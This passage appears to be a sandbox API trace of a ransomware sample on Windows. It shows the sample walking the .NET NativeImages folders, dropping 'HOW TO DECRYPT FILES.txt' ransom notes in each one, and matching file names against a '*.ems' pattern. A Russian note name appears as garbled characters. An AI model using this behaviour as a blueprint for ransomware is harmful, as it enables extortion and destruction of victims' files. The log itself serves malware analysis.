wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.052] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Drawing.Design.ni.dll") returned -1 [0119.052] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Drawing.Design.ni.dll") returned -1 [0119.052] lstrcmpiA (lpString1="", lpString2="System.Drawing.Design.ni.dll") returned -1 [0119.052] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\*.*") returned="*.*" [0119.052] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\" [0119.052] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\") returned="" [0119.052] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\HOW TO DECRYPT FILES.txt" [0119.052] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\how to decrypt files.txt")) returned 0xffffffff [0119.052] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0119.055] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0119.055] CloseHandle (hObject=0x90) returned 1 [0119.055] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\", lpString2="System.Drawing.Design.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\System.Drawing.Design.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\System.Drawing.Design.ni.dll" [0119.055] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\System.Drawing.Design.ni.dll", pszSpec="*.ems") returned 0 [0119.056] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a96a830, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8a96a830, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8a96a830, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Drawing.Design.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0119.056] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.056] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Drawing.Design.ni.dll.aux") returned -1 [0119.056] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Drawing.Design.ni.dll.aux") returned -1 [0119.056] lstrcmpiA (lpString1="", lpString2="System.Drawing.Design.ni.dll.aux") returned -1 [0119.056] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\System.Drawing.Design.ni.dll") returned="System.Drawing.Design.ni.dll" [0119.056] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\" [0119.056] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\") returned="" [0119.056] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\HOW TO DECRYPT FILES.txt" [0119.057] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\how to decrypt files.txt")) returned 0x20 [0119.057] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\", lpString2="System.Drawing.Design.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\System.Drawing.Design.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\System.Drawing.Design.ni.dll.aux" [0119.057] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\System.Drawing.Design.ni.dll.aux", pszSpec="*.ems") returned 0 [0119.057] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a96a830, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8a96a830, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8a96a830, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Drawing.Design.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0119.057] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0119.057] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a96a830, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8a96a830, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8a96a830, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bfc69ce2b8f9cf7092acfe50a43c569f", cAlternateFileName="BFC69C~1")) returned 0 [0119.057] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0119.058] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715591b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x715591b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x715591b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Drawing", cAlternateFileName="SYSTEM~1.DRA")) returned 1 [0119.058] lstrcmpA (lpString1=".", lpString2="System.Drawing") returned -1 [0119.058] lstrcmpA (lpString1="..", lpString2="System.Drawing") returned -1 [0119.058] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0119.058] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Drawing" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing" [0119.058] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715591b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x715591b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x715591b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0119.075] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.075] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715591b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x715591b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x715591b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.075] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.075] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.075] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715591b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x715591b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x715591b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="839ea0590195c34c0b0054db5a9c3513", cAlternateFileName="839EA0~1")) returned 1 [0119.075] lstrcmpA (lpString1=".", lpString2="839ea0590195c34c0b0054db5a9c3513") returned -1 [0119.075] lstrcmpA (lpString1="..", lpString2="839ea0590195c34c0b0054db5a9c3513") returned -1 [0119.075] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\*.*") returned="*.*" [0119.075] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\", lpString2="839ea0590195c34c0b0054db5a9c3513" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513" [0119.076] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715591b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x715591b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x715591b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0119.076] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.076] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715591b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x715591b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x715591b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.077] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.077] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.077] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71533050, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x71533050, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x715591b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Drawing.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0119.077] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.077] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Drawing.ni.dll") returned -1 [0119.077] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Drawing.ni.dll") returned -1 [0119.077] lstrcmpiA (lpString1="", lpString2="System.Drawing.ni.dll") returned -1 [0119.077] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\*.*") returned="*.*" [0119.077] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\" [0119.077] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\") returned="" [0119.077] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\HOW TO DECRYPT FILES.txt" [0119.077] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\839ea0590195c34c0b0054db5a9c3513\\how to decrypt files.txt")) returned 0xffffffff [0119.077] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\839ea0590195c34c0b0054db5a9c3513\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0119.087] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0119.087] CloseHandle (hObject=0x90) returned 1 [0119.087] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\", lpString2="System.Drawing.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\System.Drawing.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\System.Drawing.ni.dll" [0119.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\System.Drawing.ni.dll", pszSpec="*.ems") returned 0 [0119.136] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x715591b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x715591b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x715591b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Drawing.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0119.136] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.136] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Drawing.ni.dll.aux") returned -1 [0119.136] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Drawing.ni.dll.aux") returned -1 [0119.136] lstrcmpiA (lpString1="", lpString2="System.Drawing.ni.dll.aux") returned -1 [0119.136] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\System.Drawing.ni.dll") returned="System.Drawing.ni.dll" [0119.136] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\" [0119.136] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\") returned="" [0119.136] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\HOW TO DECRYPT FILES.txt" [0119.136] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\839ea0590195c34c0b0054db5a9c3513\\how to decrypt files.txt")) returned 0x20 [0119.137] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\", lpString2="System.Drawing.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\System.Drawing.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\System.Drawing.ni.dll.aux" [0119.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\System.Drawing.ni.dll.aux", pszSpec="*.ems") returned 0 [0119.137] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x715591b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x715591b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x715591b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Drawing.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0119.137] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0119.137] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715591b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x715591b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x715591b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="839ea0590195c34c0b0054db5a9c3513", cAlternateFileName="839EA0~1")) returned 0 [0119.137] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0119.138] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a2c1090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5a2c1090, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5a2c1090, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Dynamic", cAlternateFileName="SYSTEM~1.DYN")) returned 1 [0119.138] lstrcmpA (lpString1=".", lpString2="System.Dynamic") returned -1 [0119.138] lstrcmpA (lpString1="..", lpString2="System.Dynamic") returned -1 [0119.138] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0119.138] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Dynamic" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic" [0119.138] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a2c1090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5a2c1090, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5a2c1090, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0119.144] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.144] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a2c1090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5a2c1090, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5a2c1090, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.144] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.144] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.145] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a2c1090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5a2c1090, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5a2c1090, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5803a6b4b9b40acf6c2e7d10f4592b44", cAlternateFileName="5803A6~1")) returned 1 [0119.145] lstrcmpA (lpString1=".", lpString2="5803a6b4b9b40acf6c2e7d10f4592b44") returned -1 [0119.145] lstrcmpA (lpString1="..", lpString2="5803a6b4b9b40acf6c2e7d10f4592b44") returned -1 [0119.145] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\*.*") returned="*.*" [0119.145] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\", lpString2="5803a6b4b9b40acf6c2e7d10f4592b44" | out: 